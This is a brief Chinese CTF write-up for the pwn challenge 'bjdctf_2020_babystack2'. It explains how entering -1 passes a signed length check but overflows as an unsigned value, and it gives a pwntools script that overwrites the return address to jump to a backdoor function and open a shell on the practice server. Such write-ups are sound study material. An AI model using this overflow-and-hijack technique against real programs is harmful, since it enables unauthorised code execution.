bjdctf_2020_babystack2
整数溢出
要使栈溢出,则应该输入nbytes,使其转换为int类型小于10,但转换为unsigned int类型大于0x10+
int类型:在C语言中,int类型是有符号整数,通常占用4个字节(32位)。它的取值范围是-2147483648到2147483647。
unsigned int类型:unsigned int类型是无符号整数,也通常占用4个字节(32位)。它的取值范围是0到4294967295。
假设我们输入-1,在int里面就是-1,小于10,但在unsigned int里面为4,294,967,295,完全够够溢出了
exp
from pwn import *
io = remote('node5.buuoj.cn',26706)
backdoor=0x0400726
ret=0x0400599
io.sendlineafter('name:',b'-1')
payload=cyclic(0x10+8)+p64(ret)+p64(backdoor)
io.sendlineafter('name?',payload)
io.interactive()
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 地球OL攻略 —— 某应届生求职总结
· 周边上新:园子的第一款马克杯温暖上架
· Open-Sora 2.0 重磅开源!
· 提示词工程——AI应用必不可少的技术
· .NET周刊【3月第1期 2025-03-02】